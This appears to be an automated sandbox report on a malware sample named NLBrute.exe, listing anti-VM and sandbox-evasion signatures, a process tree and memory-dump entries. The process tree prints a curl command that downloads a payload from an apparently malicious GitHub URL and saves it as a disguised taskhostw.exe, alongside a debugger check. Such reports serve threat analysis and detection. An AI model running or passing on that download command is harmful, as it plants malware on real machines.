Analysis
- max time kernel
1s - max time network
6s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
- submitted
28/08/2026, 04:27
General
- Target NLBrute.exe
- Size 7.8MB
- Sample260828-e3b2sssyc1
- SHA256 86075030d410bad230c74db8c1cbbd7c0d2fbb62c49b812d0a57671773c2e2c5
Malware Config
Signatures
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Executes dropped EXE 1 IoCs
- Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\NLBrute.exe"C:\Users\Admin\AppData\Local\Temp\NLBrute.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\cb_bdef637fd0a94d3ea87454fc8f95b178.bat"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
-
-
C:\Windows\system32\findstr.exefindstr /i "dbg.exe"3⤵
-
-
C:\Windows\system32\curl.execurl.exe -L "https://raw.githubusercontent.com/sandycpuhub/update/refs/heads/main/nvdia.dat" -o "C:\Users\Public\Music\Samples\taskhostw.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\cb_bdef637fd0a94d3ea87454fc8f95b178.exe"C:\Users\Admin\AppData\Local\Temp\cb_bdef637fd0a94d3ea87454fc8f95b178.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
cb_bdef637fd0a94d3ea87454fc8f95b178.bat
cb_bdef637fd0a94d3ea87454fc8f95b178.exe
memory/2184-0-0x0000000000E60000-0x0000000000E68000-memory.dmp
memory/3976-8-0x0000000005F60000-0x0000000005F61000-memory.dmp
memory/3976-23-0x0000000005EE0000-0x0000000005EE1000-memory.dmp
memory/3976-15-0x0000000003900000-0x0000000003901000-memory.dmp
memory/3976-18-0x0000000005E50000-0x0000000005E51000-memory.dmp
memory/3976-17-0x00000000038F0000-0x00000000038F1000-memory.dmp
memory/3976-14-0x0000000005F40000-0x0000000005F41000-memory.dmp
memory/3976-13-0x0000000005F30000-0x0000000005F31000-memory.dmp
memory/3976-12-0x0000000005F80000-0x0000000005F81000-memory.dmp
memory/3976-11-0x0000000005F20000-0x0000000005F21000-memory.dmp
memory/3976-10-0x0000000005F50000-0x0000000005F51000-memory.dmp
memory/3976-9-0x0000000005F70000-0x0000000005F71000-memory.dmp
memory/3976-6-0x0000000000400000-0x0000000001C9F400-memory.dmp
memory/3976-24-0x00000000039B0000-0x00000000039B1000-memory.dmp
memory/3976-16-0x0000000003910000-0x0000000003911000-memory.dmp
memory/3976-22-0x0000000005E10000-0x0000000005E11000-memory.dmp
memory/3976-21-0x0000000005E20000-0x0000000005E21000-memory.dmp
memory/3976-20-0x00000000038E0000-0x00000000038E1000-memory.dmp
memory/3976-19-0x0000000005E90000-0x0000000005E91000-memory.dmp
memory/3976-25-0x0000000005E80000-0x0000000005E81000-memory.dmp
memory/3976-33-0x0000000005EB0000-0x0000000005EB1000-memory.dmp
memory/3976-32-0x0000000005EC0000-0x0000000005EC1000-memory.dmp
memory/3976-31-0x0000000005EA0000-0x0000000005EA1000-memory.dmp
memory/3976-30-0x0000000005E40000-0x0000000005E41000-memory.dmp
memory/3976-29-0x0000000000400000-0x0000000001C9F400-memory.dmp
memory/3976-34-0x0000000005E70000-0x0000000005E72000-memory.dmp
memory/3976-35-0x0000000005ED0000-0x0000000005ED1000-memory.dmp